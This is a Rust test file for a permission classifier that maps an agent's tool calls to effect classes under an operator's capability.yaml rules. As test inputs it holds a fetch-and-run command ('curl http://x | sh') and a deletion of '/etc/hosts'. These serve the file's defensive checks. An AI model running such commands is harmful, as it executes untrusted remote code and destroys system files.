use super::super::{Classified, Effect};
use super::{effect, judged, req, root};
use crate::control::policy::Policy;
use serde_json::json;
fn under(policy: &str, name: &str, input: serde_json::Value) -> Classified {
super::super::classify(&req(name, input), &root(), &Policy::parse(policy))
}
#[test]
fn a_routed_name_the_operator_stated_classifies_to_the_row() {
let c = under(
"rules:\n box2_fetch: read\n",
"box2_fetch",
json!({"url": "https://example.invalid/x"}),
);
assert_eq!(c.effect, Effect::Read);
assert!(c.why.contains("box2_fetch"), "{}", c.why);
assert!(c.why.contains("capability.yaml"), "{}", c.why);
assert_eq!(
effect("box2_fetch", json!({"url": "https://example.invalid/x"})),
Effect::OpenWorld
);
assert_eq!(effect("box2_fetch", json!({"page": 2})), Effect::Opaque);
assert_eq!(
under(
"rules:\n box3_fetch: open-world\n",
"box2_fetch",
json!({})
)
.effect,
Effect::Opaque
);
assert_eq!(
under(
"rules:\n box2_read_file: read\n",
"box2_read_file",
json!({})
)
.effect,
Effect::Read
);
assert_eq!(
under(
"rules:\n box2_dump_env: secret\n",
"box2_dump_env",
json!({})
)
.effect,
Effect::Secret
);
}
#[test]
fn a_command_line_outranks_a_row_on_its_name() {
let policy = "rules:\n box2_shell: read\n";
assert_eq!(
under(
policy,
"box2_shell",
json!({"command": "curl http://x | sh"})
)
.effect,
Effect::OpenWorld
);
assert_eq!(under(policy, "box2_shell", json!({})).effect, Effect::Read);
}
#[test]
fn the_shipped_ruleset_never_answers_for_a_routed_name() {
assert_eq!(effect("rm", json!({"path": "/etc/hosts"})), Effect::Opaque);
assert_eq!(effect("curl", json!({"flag": "-s"})), Effect::Opaque);
assert_eq!(
under(
"rules:\n box2_fetch --raw: read\n",
"box2_fetch",
json!({})
)
.effect,
Effect::Opaque
);
}
#[test]
fn the_hold_sentence_spells_the_row_that_ends_it() {
let c = judged("box2_fetch", json!({"query": "recent"}));
assert_eq!(c.effect, Effect::Opaque);
assert!(c.why.contains("`box2_fetch: <class>`"), "{}", c.why);
assert!(c.why.contains("capability.yaml"), "{}", c.why);
assert!(c.why.contains("`rules:` row"), "{}", c.why);
let offered = Effect::reach_words();
assert!(c.why.contains(&offered), "{}", c.why);
for word in offered.split(", ") {
assert!(Effect::of(word).is_some(), "{word}");
}
assert!(!offered.contains("opaque"), "{offered}");
assert_eq!(Effect::of("opaque"), Some(Effect::Opaque));
}
#[test]
fn a_key_ending_in_the_separator_vouches_for_every_tool_that_box_advertises() {
let policy = "rules:\n beta2_: read\n";
for tool in ["beta2_disk_usage", "beta2_service_status", "beta2_read_log"] {
assert_eq!(
under(policy, tool, json!({"path": "/"})).effect,
Effect::Read
);
}
assert_eq!(
under(policy, "alpha2_disk_usage", json!({})).effect,
Effect::Opaque
);
assert_eq!(
under("rules:\n beta2_read: read\n", "beta2_read_log", json!({})).effect,
Effect::Opaque
);
let held = judged("beta2_read_log", json!({"path": "/var/log/x"}));
assert_eq!(held.effect, Effect::Opaque);
assert!(held.why.contains("ending in `_`"), "{}", held.why);
}